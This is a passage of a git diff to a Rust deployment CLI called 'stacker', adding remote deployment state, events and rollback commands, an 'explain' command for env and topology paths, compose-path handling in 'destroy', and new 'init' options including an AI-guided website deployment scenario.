+) -> Result<(), Box<dyn std::error::Error>> {
+    let project_dir = std::env::current_dir()?;
+    let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
+
+    if !config_path.exists() {
+        return Err(Box::new(CliError::ConfigValidation(
+            "No stacker.yml found. Run 'stacker init' first.".to_string(),
+        )));
+    }
+
+    let config = StackerConfig::from_file(&config_path)?
+        .with_resolved_deploy_target(None)
+        .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?;
+    let deploy_target = config.deploy.target;
+
+    let cred_manager = CredentialsManager::with_default_store();
+    let creds = cred_manager.require_valid_token("deployment state")?;
+    let base_url = resolve_stacker_base_url(&creds);
+
+    let rt = tokio::runtime::Builder::new_current_thread()
+        .enable_all()
+        .build()
+        .map_err(|e| CliError::DeployFailed {
+            target: deploy_target,
+            reason: format!("Failed to initialize async runtime: {}", e),
+        })?;
+
+    rt.block_on(async {
+        let client = StackerClient::new(&base_url, &creds.access_token);
+        let deployment_hash =
+            resolve_deployment_hash(&config, &base_url, &client, requested_hash).await?;
+        let state = client
+            .get_deployment_state_by_hash(&deployment_hash)
+            .await?
+            .ok_or_else(|| {
+                CliError::from(
+                    TypedErrorEnvelope::deployment_not_found(format!(
+                        "No deployment state found for hash '{}'",
+                        deployment_hash
+                    ))
+                    .with_context("deploymentHash", deployment_hash.clone()),
+                )
+            })?;
+
+        print_state(&state, json);
+        Ok(())
+    })
+}
+
+fn run_remote_deployment_events(
+    json: bool,
+    requested_hash: Option<&str>,
+) -> Result<(), Box<dyn std::error::Error>> {
+    let project_dir = std::env::current_dir()?;
+    let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
+
+    if !config_path.exists() {
+        return Err(Box::new(CliError::ConfigValidation(
+            "No stacker.yml found. Run 'stacker init' first.".to_string(),
+        )));
+    }
+
+    let config = StackerConfig::from_file(&config_path)?
+        .with_resolved_deploy_target(None)
+        .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?;
+    let deploy_target = config.deploy.target;
+
+    let cred_manager = CredentialsManager::with_default_store();
+    let creds = cred_manager.require_valid_token("deployment events")?;
+    let base_url = resolve_stacker_base_url(&creds);
+
+    let rt = tokio::runtime::Builder::new_current_thread()
+        .enable_all()
+        .build()
+        .map_err(|e| CliError::DeployFailed {
+            target: deploy_target,
+            reason: format!("Failed to initialize async runtime: {}", e),
+        })?;
+
+    rt.block_on(async {
+        let client = StackerClient::new(&base_url, &creds.access_token);
+        let deployment_hash =
+            resolve_deployment_hash(&config, &base_url, &client, requested_hash).await?;
+        let events = client
+            .get_deployment_events_by_hash(&deployment_hash)
+            .await?
+            .ok_or_else(|| {
+                CliError::from(
+                    TypedErrorEnvelope::deployment_not_found(format!(
+                        "No deployment events found for hash '{}'",
+                        deployment_hash
+                    ))
+                    .with_context("deploymentHash", deployment_hash.clone()),
+                )
+            })?;
+
+        print_events(&events, json)?;
+        Ok(())
+    })
+}
+
+pub(crate) fn run_remote_deployment_plan(
+    requested_hash: Option<&str>,
+    operation: DeployPlanOperation,
+    app_code: Option<&str>,
+    rollback_target: Option<&str>,
+    expected_fingerprint: Option<&str>,
+) -> Result<(), Box<dyn std::error::Error>> {
+    let project_dir = std::env::current_dir()?;
+    let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
+
+    if !config_path.exists() {
+        return Err(Box::new(CliError::ConfigValidation(
+            "No stacker.yml found. Run 'stacker init' first.".to_string(),
+        )));
+    }
+
+    let config = StackerConfig::from_file(&config_path)?
+        .with_resolved_deploy_target(None)
+        .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?;
+    let deploy_target = config.deploy.target;
+
+    let cred_manager = CredentialsManager::with_default_store();
+    let creds = cred_manager.require_valid_token("deployment plan")?;
+    let base_url = resolve_stacker_base_url(&creds);
+
+    let rt = tokio::runtime::Builder::new_current_thread()
+        .enable_all()
+        .build()
+        .map_err(|e| CliError::DeployFailed {
+            target: deploy_target,
+            reason: format!("Failed to initialize async runtime: {}", e),
+        })?;
+
+    rt.block_on(async {
+        let client = StackerClient::new(&base_url, &creds.access_token);
+        let plan = fetch_remote_deployment_plan(
+            &config,
+            &base_url,
+            &client,
+            requested_hash,
+            operation,
+            app_code,
+            rollback_target,
+            expected_fingerprint,
+        )
+        .await?;
+        print_plan(&plan)?;
+        Ok(())
+    })
+}
+
+impl CallableTrait for DeploymentStateCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let project_dir = std::env::current_dir()?;
+        if !is_remote_deployment(&project_dir) {
+            return Err(Box::new(CliError::ConfigValidation(
+                "Deployment state is only available for cloud or server targets.".to_string(),
+            )));
+        }
+
+        run_remote_deployment_state(self.json, self.deployment.as_deref())
+    }
+}
+
+impl CallableTrait for DeploymentEventsCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let project_dir = std::env::current_dir()?;
+        if !is_remote_deployment(&project_dir) {
+            return Err(Box::new(CliError::ConfigValidation(
+                "Deployment events are only available for cloud or server targets.".to_string(),
+            )));
+        }
+
+        run_remote_deployment_events(self.json, self.deployment.as_deref())
+    }
+}
+
+impl CallableTrait for DeploymentRollbackCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let project_dir = std::env::current_dir()?;
+        if !is_remote_deployment(&project_dir) {
+            return Err(Box::new(CliError::ConfigValidation(
+                "Deployment rollback is only available for cloud or server targets.".to_string(),
+            )));
+        }
+
+        if self.plan {
+            return run_remote_deployment_plan(
+                self.deployment.as_deref(),
+                DeployPlanOperation::RollbackDeploy,
+                None,
+                Some(&self.to),
+                None,
+            );
+        }
+
+        let fingerprint = self.apply_plan.as_deref().ok_or_else(|| {
+            Box::new(CliError::ConfigValidation(
+                "Use --plan to preview rollback or --apply-plan <fingerprint> to execute it."
+                    .to_string(),
+            )) as Box<dyn std::error::Error>
+        })?;
+
+        if !self.confirm {
+            return Err(Box::new(CliError::ConfigValidation(
+                "Rollback apply requires --confirm (-y).".to_string(),
+            )));
+        }
+
+        let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
+        if !config_path.exists() {
+            return Err(Box::new(CliError::ConfigValidation(
+                "No stacker.yml found. Run 'stacker init' first.".to_string(),
+            )));
+        }
+
+        let config = StackerConfig::from_file(&config_path)?
+            .with_resolved_deploy_target(None)
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?;
+        let project_name = resolve_project_name(&config);
+        let deploy_target = config.deploy.target;
+
+        let cred_manager = CredentialsManager::with_default_store();
+        let creds = cred_manager.require_valid_token("deployment rollback")?;
+        let base_url = resolve_stacker_base_url(&creds);
+
+        let rt = tokio::runtime::Builder::new_current_thread()
+            .enable_all()
+            .build()
+            .map_err(|e| CliError::DeployFailed {
+                target: deploy_target,
+                reason: format!("Failed to initialize async runtime: {}", e),
+            })?;
+
+        rt.block_on(async {
+            let client = StackerClient::new(&base_url, &creds.access_token);
+            let plan = fetch_remote_deployment_plan(
+                &config,
+                &base_url,
+                &client,
+                self.deployment.as_deref(),
+                DeployPlanOperation::RollbackDeploy,
+                None,
+                Some(&self.to),
+                Some(fingerprint),
+            )
+            .await?;
+
+            if !plan.has_changes {
+                println!(
+                    "Rollback already satisfied for {}. Nothing to apply.",
+                    plan.deployment_hash
+                );
+                return Ok::<(), CliError>(());
+            }
+
+            let resolved_version = plan
+                .rollback
+                .as_ref()
+                .map(|rollback| rollback.resolved_version.clone())
+                .ok_or_else(|| {
+                    CliError::from(TypedErrorEnvelope::internal_error(
+                        "Rollback plan did not include a resolved target version",
+                    ))
+                })?;
+
+            let project = client.find_project_by_name(&project_name).await?;
+            let project = project.ok_or_else(|| CliError::DeployFailed {
+                target: deploy_target,
+                reason: format!("Project '{}' not found on server.", project_name),
+            })?;
+
+            eprintln!(
+                "Rolling back deployment '{}' to version '{}'...",
+                plan.deployment_hash, resolved_version
+            );
+            client
+                .rollback_project(project.id, &resolved_version)
+                .await?;
+            Ok::<(), CliError>(())
+        })?;
+
+        Ok(())
+    }
+}
diff --git a/src/console/commands/cli/destroy.rs b/src/console/commands/cli/destroy.rs
index ebfe354c..1acff6fa 100644
--- a/src/console/commands/cli/destroy.rs
+++ b/src/console/commands/cli/destroy.rs
@@ -2,13 +2,10 @@ use std::path::Path;
 
 use crate::cli::config_parser::DeployTarget;
 use crate::cli::error::CliError;
-use crate::cli::install_runner::{
-    CommandExecutor, ShellExecutor,
-};
+use crate::cli::install_runner::{CommandExecutor, ShellExecutor};
+use crate::cli::local_compose::resolve_local_compose_path;
 use crate::console::commands::CallableTrait;
 
-/// Output directory for generated artifacts.
-const OUTPUT_DIR: &str = ".stacker";
 #[allow(dead_code)]
 const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
 
@@ -56,13 +53,12 @@ pub fn run_destroy(
         ));
     }
 
-    let compose_path = project_dir.join(OUTPUT_DIR).join("docker-compose.yml");
-
-    if !compose_path.exists() {
-        return Err(CliError::ConfigValidation(
-            "No deployment found. Nothing to destroy.".to_string(),
-        ));
-    }
+    let compose_path = resolve_local_compose_path(project_dir).map_err(|err| match err {
+        CliError::ConfigValidation(_) => {
+            CliError::ConfigValidation("No deployment found. Nothing to destroy.".to_string())
+        }
+        other => other,
+    })?;
 
     let compose_str = compose_path.to_string_lossy().to_string();
     let args = build_destroy_args(&compose_str, volumes);
@@ -106,7 +102,9 @@ mod tests {
 
     impl MockExecutor {
         fn new() -> Self {
-            Self { calls: Mutex::new(Vec::new()) }
+            Self {
+                calls: Mutex::new(Vec::new()),
+            }
         }
 
         fn recorded_calls(&self) -> Vec<(String, Vec<String>)> {
@@ -120,13 +118,17 @@ mod tests {
                 program.to_string(),
                 args.iter().map(|s| s.to_string()).collect(),
             ));
-            Ok(CommandOutput { exit_code: 0, stdout: String::new(), stderr: String::new() })
+            Ok(CommandOutput {
+                exit_code: 0,
+                stdout: String::new(),
+                stderr: String::new(),
+            })
         }
     }
 
     fn setup_with_compose() -> tempfile::TempDir {
         let dir = tempfile::TempDir::new().unwrap();
-        let stacker_dir = dir.path().join(OUTPUT_DIR);
+        let stacker_dir = dir.path().join(".stacker");
         std::fs::create_dir_all(&stacker_dir).unwrap();
         std::fs::write(stacker_dir.join("docker-compose.yml"), "version: '3.8'\n").unwrap();
         dir
@@ -172,4 +174,32 @@ mod tests {
         let err = format!("{}", result.unwrap_err());
         assert!(err.contains("No deployment found") || err.contains("Nothing to destroy"));
     }
+
+    #[test]
+    fn test_destroy_uses_configured_compose_file_for_local_target() {
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::create_dir_all(dir.path().join("docker/local")).unwrap();
+        std::fs::write(
+            dir.path().join("docker/local/compose.yml"),
+            "services: {}\n",
+        )
+        .unwrap();
+        std::fs::write(
+            dir.path().join(DEFAULT_CONFIG_FILE),
+            "name: demo\ndeploy:\n  target: local\n  compose_file: docker/local/compose.yml\n",
+        )
+        .unwrap();
+
+        let executor = MockExecutor::new();
+        run_destroy(dir.path(), false, true, &executor).unwrap();
+
+        let calls = executor.recorded_calls();
+        assert_eq!(calls.len(), 1);
+        assert_eq!(
+            calls[0].1[2],
+            dir.path()
+                .join("docker/local/compose.yml")
+                .to_string_lossy()
+        );
+    }
 }
diff --git a/src/console/commands/cli/explain.rs b/src/console/commands/cli/explain.rs
new file mode 100644
index 00000000..416056c3
--- /dev/null
+++ b/src/console/commands/cli/explain.rs
@@ -0,0 +1,223 @@
+use std::path::{Path, PathBuf};
+
+use crate::cli::config_parser::{ServiceDefinition, StackerConfig};
+use crate::cli::error::CliError;
+use crate::console::commands::CallableTrait;
+use crate::helpers::{remote_runtime_compose_path, remote_runtime_env_path};
+use crate::services::config_renderer::EnvRenderInput;
+use crate::services::{
+    build_explain_env, build_explain_topology, ExplainTopologyService, TypedErrorEnvelope,
+};
+
+const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
+
+pub struct ExplainEnvCommand {
+    pub app: String,
+    pub json: bool,
+}
+
+impl ExplainEnvCommand {
+    pub fn new(app: String, json: bool) -> Self {
+        Self { app, json }
+    }
+}
+
+pub struct ExplainTopologyCommand {
+    pub json: bool,
+}
+
+impl ExplainTopologyCommand {
+    pub fn new(json: bool) -> Self {
+        Self { json }
+    }
+}
+
+fn load_config(project_dir: &Path) -> Result<StackerConfig, CliError> {
+    StackerConfig::from_file(&project_dir.join(DEFAULT_CONFIG_FILE))?
+        .with_resolved_deploy_target(None)
+}
+
+fn resolve_local_env_path(project_dir: &Path, config: &StackerConfig) -> Result<PathBuf, CliError> {
+    let env_file = config
+        .resolve_environment_config(None)?
+        .and_then(|(_, env)| env.env_file)
+        .or_else(|| config.env_file.clone())
+        .unwrap_or_else(|| PathBuf::from(".env"));
+    Ok(if env_file.is_absolute() {
+        env_file
+    } else {
+        project_dir.join(env_file)
+    })
+}
+
+fn resolve_local_compose_path(
+    project_dir: &Path,
+    config: &StackerConfig,
+) -> Result<PathBuf, CliError> {
+    let compose_file = config
+        .resolve_environment_config(None)?
+        .and_then(|(_, env)| env.compose_file)
+        .or_else(|| config.deploy.compose_file.clone())
+        .unwrap_or_else(|| PathBuf::from(".stacker/docker-compose.yml"));
+    Ok(if compose_file.is_absolute() {
+        compose_file
+    } else {
+        project_dir.join(compose_file)
+    })
+}
+
+fn main_app_code(config: &StackerConfig) -> String {
+    config
+        .project
+        .identity
+        .clone()
+        .unwrap_or_else(|| "app".to_string())
+}
+
+fn resolve_service<'a>(
+    config: &'a StackerConfig,
+    app_code: &str,
+) -> Result<Option<&'a ServiceDefinition>, CliError> {
+    if app_code == "app" || app_code == main_app_code(config) {
+        return Ok(None);
+    }
+
+    config
+        .services
+        .iter()
+        .find(|service| service.name == app_code)
+        .map(Some)
+        .ok_or_else(|| {
+            TypedErrorEnvelope::invalid_request(format!(
+                "App or service '{app_code}' was not found in stacker.yml"
+            ))
+            .with_context("appCode", app_code)
+            .into()
+        })
+}
+
+fn build_env_input(config: &StackerConfig, app_code: &str) -> Result<EnvRenderInput, CliError> {
+    let service = resolve_service(config, app_code)?;
+    let mut input = EnvRenderInput {
+        base: config.env.clone(),
+        ..EnvRenderInput::default()
+    };
+    if let Some(service) = service {
+        input.service = service.environment.clone();
+    } else {
+        input.service = config.app.environment.clone();
+    }
+    Ok(input)
+}
+
+fn print_json<T: serde::Serialize>(value: &T) -> Result<(), CliError> {
+    let rendered = serde_json::to_string_pretty(value).map_err(|err| {
+        CliError::ConfigValidation(format!("Failed to serialize explain output: {err}"))
+    })?;
+    println!("{rendered}");
+    Ok(())
+}
+
+impl ExplainEnvCommand {
+    fn run(&self) -> Result<(), CliError> {
+        let project_dir = std::env::current_dir()?;
+        let config = load_config(&project_dir)?;
+        let deployment_hash = config
+            .deploy
+            .deployment_hash
+            .clone()
+            .unwrap_or_else(|| "unbound".to_string());
+        let local_env_path = resolve_local_env_path(&project_dir, &config)?;
+        let explain = build_explain_env(
+            &deployment_hash,
+            &self.app,
+            &local_env_path.to_string_lossy(),
+            remote_runtime_env_path(),
+            remote_runtime_compose_path(),
+            build_env_input(&config, &self.app)?,
+        )
+        .map_err(|err| CliError::ConfigValidation(err.to_string()))?;
+
+        if self.json {
+            print_json(&explain)?;
+        } else {
+            println!("Explain env for {}", explain.app_code);
+            println!(
+                "  local authoring env: {}",
+                explain.local_authoring_env_path
+            );
+            println!("  runtime env:         {}", explain.runtime_env_path);
+            println!("  runtime compose:     {}", explain.runtime_compose_path);
+        }
+
+        Ok(())
+    }
+}
+
+impl CallableTrait for ExplainEnvCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        match self.run() {
+            Ok(()) => Ok(()),
+            // In human (non-JSON) mode, surface typed errors as their plain message
+            // instead of the raw JSON envelope. JSON mode preserves the envelope so
+            // programmatic consumers (CI, MCP) can keep parsing it.
+            Err(CliError::Typed(envelope)) if !self.json => {
+                eprintln!("Error: {}", envelope.message);
+                std::process::exit(1);
+            }
+            Err(err) => Err(Box::new(err)),
+        }
+    }
+}
+
+impl CallableTrait for ExplainTopologyCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let project_dir = std::env::current_dir()?;
+        let config = load_config(&project_dir)?;
+        let deployment_hash = config
+            .deploy
+            .deployment_hash
+            .clone()
+            .unwrap_or_else(|| "unbound".to_string());
+        let local_env_path = resolve_local_env_path(&project_dir, &config)?;
+        let local_compose_path = resolve_local_compose_path(&project_dir, &config)?;
+
+        let mut services = vec![ExplainTopologyService {
+            code: main_app_code(&config),
+            name: config.name.clone(),
+            enabled: true,
+        }];
+        services.extend(
+            config
+                .services
+                .iter()
+                .map(|service| ExplainTopologyService {
+                    code: service.name.clone(),
+                    name: service.name.clone(),
+                    enabled: true,
+                }),
+        );
+
+        let topology = build_explain_topology(
+            &deployment_hash,
+            &config.deploy.target.to_string(),
+            &local_compose_path.to_string_lossy(),
+            remote_runtime_compose_path(),
+            &local_env_path.to_string_lossy(),
+            remote_runtime_env_path(),
+            services,
+        );
+
+        if self.json {
+            print_json(&topology)?;
+        } else {
+            println!("Explain topology for {}", topology.deployment_hash);
+            println!("  local compose:  {}", topology.local_compose_path);
+            println!("  runtime compose: {}", topology.runtime_compose_path);
+            println!("  local env:      {}", topology.local_authoring_env_path);
+            println!("  runtime env:    {}", topology.runtime_env_path);
+        }
+
+        Ok(())
+    }
+}
diff --git a/src/console/commands/cli/init.rs b/src/console/commands/cli/init.rs
index d3a8bb9b..7c4e33df 100644
--- a/src/console/commands/cli/init.rs
+++ b/src/console/commands/cli/init.rs
@@ -1,18 +1,28 @@
+use std::collections::{BTreeMap, HashMap};
 use std::convert::TryFrom;
+use std::io::{self, IsTerminal, Write};
 use std::path::{Path, PathBuf};
 
-use crate::cli::ai_client::{AiProvider, create_provider, ollama_complete_streaming};
+use crate::cli::ai_client::{create_provider, ollama_complete_streaming, AiProvider};
 use crate::cli::ai_scanner::{
     build_generation_request, generate_config_with_ai, strip_code_fences,
 };
+use crate::cli::ai_scenarios::{
+    detect_website_project_kind, is_qwen_website_scenario_model, load_scenario_manifest,
+    missing_required_vars, next_step_id, save_scenario_state, seed_website_scenario_state,
+    ScenarioSelection, ScenarioState, WEBSITE_DEPLOY_SCENARIO,
+};
 use crate::cli::config_parser::{
     AiConfig, AiProviderType, AppType, ConfigBuilder, DomainConfig, ProxyConfig, ProxyType,
-    SslMode, StackerConfig,
+    ServiceDefinition, SslMode, StackerConfig,
+};
+use crate::cli::detector::{
+    detect_workspace, DetectedComposeService, DiscoveredApp, RealFileSystem, WorkspaceDetection,
 };
-use crate::cli::detector::{detect_project, RealFileSystem};
 use crate::cli::error::CliError;
 use crate::cli::generator::compose::ComposeDefinition;
 use crate::cli::generator::dockerfile::DockerfileBuilder;
+use crate::console::commands::cli::ai::{build_system_prompt_base, run_ai_ask_with_system_prompt};
 use crate::console::commands::CallableTrait;
 
 /// Default config filename generated by `stacker init`.
@@ -84,7 +94,7 @@ pub fn full_config_reference_example() -> &'static str {
 #     # orchestrator: local | remote
 #     orchestrator: "remote"
 #     region: "nbg1"
-#     size: "cpx11"
+#     size: "cx23"
 #     # install_image: "trydirect/install-service:latest" # local orchestrator only
 #     # remote_payload_file: "./stacker.remote.deploy.json" # remote orchestrator request payload
 #     # ssh_key: "~/.ssh/id_rsa"
@@ -96,7 +106,7 @@ pub fn full_config_reference_example() -> &'static str {
 #   # registry:                          # Docker registry credentials for private images
 #   #   username: "${DOCKER_USERNAME}"
 #   #   password: "${DOCKER_PASSWORD}"
-#   #   server: "https://index.docker.io/v1/"  # optional, defaults to Docker Hub
+#   #   server: "docker.io"  # optional, defaults to Docker Hub
 #
 # ai:
 #   enabled: true
@@ -124,7 +134,7 @@ pub fn full_config_reference_example() -> &'static str {
 # -----------------------------------------------------------------------------"#
 }
 
-/// `stacker init [--type static|node|python|rust|go|php] [--with-proxy] [--with-ai]`
+/// `stacker init [--type static|node|python|rust|go|php] [--with-proxy] [--with-ai] [--from-github URL]`
 ///
 /// Detects the project type in the current directory and generates
 /// a `stacker.yml` configuration file with sensible defaults.
@@ -133,41 +143,71 @@ pub fn full_config_reference_example() -> &'static str {
 /// or environment variables), Stacker scans the project deeply and
 /// sends the context to the AI to generate a tailored `stacker.yml`
 /// with appropriate services, proxy, monitoring, etc.
+///
+/// When `--from-github` is used, Stacker clones the specified GitHub
+/// repository into a temp directory, detects the project type and
+/// services, and generates a `stacker.yml` in the current directory.
 pub struct InitCommand {
     pub app_type: Option<String>,
     pub with_proxy: bool,
     pub with_ai: bool,
     pub with_cloud: bool,
+    /// GitHub repository URL (owner/repo or full URL) to generate config from
+    pub from_github: Option<String>,
+    /// Overwrite existing stacker.yml if present
+    pub force: bool,
     /// Override AI provider (openai, anthropic, ollama, custom)
     pub ai_provider: Option<String>,
     /// Override AI model name
     pub ai_model: Option<String>,
     /// Override AI API key
     pub ai_api_key: Option<String>,
+    /// Override AI endpoint URL (e.g. http://localhost:11434 for Ollama)
+    pub ai_endpoint: Option<String>,
 }
 
 impl InitCommand {
-    pub fn new(app_type: Option<String>, with_proxy: bool, with_ai: bool, with_cloud: bool) -> Self {
+    pub fn new(
+        app_type: Option<String>,
+        with_proxy: bool,
+        with_ai: bool,
+        with_cloud: bool,
+    ) -> Self {
         Self {
             app_type,
             with_proxy,
             with_ai,
             with_cloud,
+            from_github: None,
+            force: false,
             ai_provider: None,
             ai_model: None,
             ai_api_key: None,
+            ai_endpoint: None,
         }
     }
 
+    pub fn with_from_github(mut self, from_github: Option<String>) -> Self {
+        self.from_github = from_github;
+        self
+    }
+
+    pub fn with_force(mut self, force: bool) -> Self {
+        self.force = force;
+        self
+    }
+
     pub fn with_ai_options(
         mut self,
         provider: Option<String>,
         model: Option<String>,
         api_key: Option<String>,
+        endpoint: Option<String>,
     ) -> Self {
         self.ai_provider = provider;
         self.ai_model = model;
         self.ai_api_key = api_key;
+        self.ai_endpoint = endpoint;
         self
     }
 }
@@ -183,6 +223,239 @@ fn parse_app_type(s: &str) -> Result<AppType, CliError> {
     })
 }
 
+fn prompt_line(prompt: &str) -> Result<String, CliError> {
+    print!("{}", prompt);
+    io::stdout().flush()?;
+    let mut input = String::new();
+    io::stdin().read_line(&mut input)?;
+    Ok(input.trim().to_string())
+}
+
+fn prompt_with_default(prompt: &str, default: &str) -> Result<String, CliError> {
+    let line = prompt_line(&format!("{} [{}]: ", prompt, default))?;
+    if line.is_empty() {
+        Ok(default.to_string())
+    } else {
+        Ok(line)
+    }
+}
+
+fn prompt_optional(prompt: &str, default: Option<&str>) -> Result<Option<String>, CliError> {
+    let formatted = match default {
+        Some(value) if !value.trim().is_empty() => format!("{} [{}]: ", prompt, value),
+        _ => format!("{}: ", prompt),
+    };
+    let line = prompt_line(&formatted)?;
+    if line.is_empty() {
+        Ok(default
+            .map(str::trim)
+            .filter(|value| !value.is_empty())
+            .map(ToOwned::to_owned))
+    } else {
+        Ok(Some(line))
+    }
+}
+
+fn prompt_yes_no(prompt: &str, default_yes: bool) -> Result<bool, CliError> {
+    let suffix = if default_yes { "[Y/n]" } else { "[y/N]" };
+    let line = prompt_line(&format!("{} {}: ", prompt, suffix))?;
+    if line.is_empty() {
+        return Ok(default_yes);
+    }
+
+    match line.to_ascii_lowercase().as_str() {
+        "y" | "yes" => Ok(true),
+        "n" | "no" => Ok(false),
+        _ => Ok(default_yes),
+    }
+}
+
+fn default_public_domain(config: &StackerConfig) -> String {
+    format!(
+        "{}.example.com",
+        config.name.replace(' ', "-").to_ascii_lowercase()
+    )
+}
+
+fn default_image_repository(state: &ScenarioState) -> String {
+    state
+        .vars
+        .get("image_repository")
+        .cloned()
+        .unwrap_or_else(|| {
+            let project_name = state
+                .vars
+                .get("project_name")
+                .cloned()
+                .unwrap_or_else(|| "website".to_string())
+                .replace(' ', "-")
+                .to_ascii_lowercase();
+            format!("ghcr.io/your-org/{project_name}")
+        })
+}
+
+fn default_cloud_region(provider: &str) -> &'static str {
+    match provider {
+        "hetzner" => "nbg1",
+        "digitalocean" => "fra1",
+        "linode" => "eu-central",
+        "vultr" => "fra",
+        "aws" => "eu-central-1",
+        _ => "nbg1",
+    }
+}
+
+fn default_cloud_size(provider: &str) -> &'static str {
+    match provider {
+        "hetzner" => "cx23",
+        "digitalocean" => "s-1vcpu-1gb",
+        "linode" => "g6-nanode-1",
+        "vultr" => "vc2-1c-1gb",
+        "aws" => "t3.micro",
+        _ => "cx23",
+    }
+}
+
+fn collect_website_scenario_inputs(
+    project_dir: &Path,
+    config: &StackerConfig,
+    state: &mut ScenarioState,
+) -> Result<(), CliError> {
+    let manifest = load_scenario_manifest(project_dir, WEBSITE_DEPLOY_SCENARIO)?;
+
+    if !state.vars.contains_key("repo_url") {
+        if let Some(repo_url) = prompt_optional(
+            "Git repository URL (optional, used for transcript/image hints)",
+            None,
+        )? {
+            state.vars.insert("repo_url".to_string(), repo_url);
+        }
+    }
+
+    if !state.vars.contains_key("image_repository") {
+        let default_repository = default_image_repository(state);
+        state
+            .vars
+            .entry("image_repository".to_string())
+            .or_insert(default_repository);
+    }
+
+    for field in missing_required_vars(&manifest, state) {
+        match field.as_str() {
+            "public_domain" => {
+                let value = prompt_with_default("Public domain", &default_public_domain(config))?;
+                state.vars.insert(field, value);
+            }
+            "image_repository" => {
+                let value =
+                    prompt_with_default("Image repository", &default_image_repository(state))?;
+                state.vars.insert(field, value);
+            }
+            "image_tag" => {
+                let value = prompt_with_default("Image tag", "latest")?;
+                state.vars.insert(field, value);
+            }
+            "cloud_provider" => {
+                let value = prompt_with_default(
+                    "Cloud provider (hetzner|digitalocean|aws|linode|vultr)",
+                    "hetzner",
+                )?;
+                state.vars.insert(field, value);
+            }
+            "cloud_region" => {
+                let provider = state
+                    .vars
+                    .get("cloud_provider")
+                    .map(String::as_str)
+                    .unwrap_or("hetzner");
+                let value = prompt_with_default("Cloud region", default_cloud_region(provider))?;
+                state.vars.insert(field, value);
+            }
+            "cloud_size" => {
+                let provider = state
+                    .vars
+                    .get("cloud_provider")
+                    .map(String::as_str)
+                    .unwrap_or("hetzner");
+                let value = prompt_with_default("Cloud size", default_cloud_size(provider))?;
+                state.vars.insert(field, value);
+            }
+            _ => {}
+        }
+    }
+
+    Ok(())
+}
+
+fn maybe_bootstrap_website_scenario(
+    project_dir: &Path,
+    config_path: &Path,
+    config: &StackerConfig,
+    ai_runtime: Option<(&AiConfig, &dyn AiProvider)>,
+) -> Result<(), CliError> {
+    let Some((ai_config, provider)) = ai_runtime else {
+        return Ok(());
+    };
+
+    let Some(project_kind) = detect_website_project_kind(project_dir, config) else {
+        return Ok(());
+    };
+
+    if !is_qwen_website_scenario_model(ai_config) {
+        eprintln!(
+            "💡 Website deployment scenario available for Ollama qwen2.5-code/qwen2.5-coder via `stacker ai ask \"continue\" --scenario website-deploy --step init-validate`."
+        );
+        return Ok(());
+    }
+
+    if !io::stdin().is_terminal() || !io::stdout().is_terminal() {
+        eprintln!(
+            "💡 Qwen website deployment scenario available: `stacker ai ask \"continue\" --scenario website-deploy --step init-validate`."
+        );
+        return Ok(());
+    }
+
+    if !prompt_yes_no(
+        &format!(
+            "Start the {} deployment scenario now?",
+            project_kind.display_name()
+        ),
+        true,
+    )? {
+        eprintln!(
+            "💡 Continue later with: `stacker ai ask \"continue\" --scenario website-deploy --step init-validate`."
+        );
+        return Ok(());
+    }
+
+    let mut state =
+        seed_website_scenario_state(project_dir, config_path, config, ai_config, &project_kind);
+    collect_website_scenario_inputs(project_dir, config, &mut state)?;
+    let state_path = save_scenario_state(project_dir, &state)?;
+    let selection =
+        ScenarioSelection::new(WEBSITE_DEPLOY_SCENARIO, Some(state.current_step.clone()));
+    let system_prompt = build_system_prompt_base(project_dir, ai_config, Some(&selection), true)?;
+    let question = format!(
+        "Start the {} deployment scenario at the current step. Use the saved scenario variables and current project files. Give the exact next commands, validations, and the next step only. If any required value is still missing, ask for it explicitly.",
+        project_kind.display_name()
+    );
+    let response = run_ai_ask_with_system_prompt(&question, None, provider, &system_prompt)?;
+
+    eprintln!("💾 Saved AI scenario state to {}", state_path.display());
+    println!("\n{}", response);
+
+    if let Some(next_step) =
+        next_step_id(project_dir, WEBSITE_DEPLOY_SCENARIO, &state.current_step)?
+    {
+        eprintln!(
+            "💡 Continue later with: `stacker ai ask \"continue\" --scenario website-deploy --step {}`.",
+            next_step
+        );
+    }
+
+    Ok(())
+}
+
 /// Build an `AiConfig` from CLI flags and/or environment variables.
 ///
 /// Priority: CLI flag > environment variable > defaults.
@@ -190,6 +463,7 @@ pub fn resolve_ai_config(
     ai_provider: Option<&str>,
     ai_model: Option<&str>,
     ai_api_key: Option<&str>,
+    ai_endpoint: Option<&str>,
 ) -> Result<AiConfig, CliError> {
     // Provider: flag > env > default (ollama)
     let provider_str = ai_provider
@@ -214,8 +488,16 @@ pub fn resolve_ai_config(
         .map(|s| s.to_string())
         .or_else(|| std::env::var("STACKER_AI_MODEL").ok());
 
-    // Endpoint from env
-    let endpoint = std::env::var("STACKER_AI_ENDPOINT").ok();
+    // Endpoint: flag > env (only for ollama/custom — openai/anthropic
+    // have well-known defaults that should not be overridden by env).
+    let endpoint = ai_endpoint
+        .map(|s| s.to_string())
+        .or_else(|| match provider {
+            AiProviderType::Ollama | AiProviderType::Custom => {
+                std::env::var("STACKER_AI_ENDPOINT").ok()
+            }
+            _ => None,
+        });
 
     // Timeout: env > default (300s)
     let timeout = std::env::var("STACKER_AI_TIMEOUT")
@@ -261,12 +543,13 @@ pub fn generate_config(
     app_type_override: Option<&str>,
     with_proxy: bool,
     with_ai: bool,
+    force: bool,
 ) -> Result<PathBuf, CliError> {
     let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
 
-    if config_path.exists() {
+    if config_path.exists() && !force {
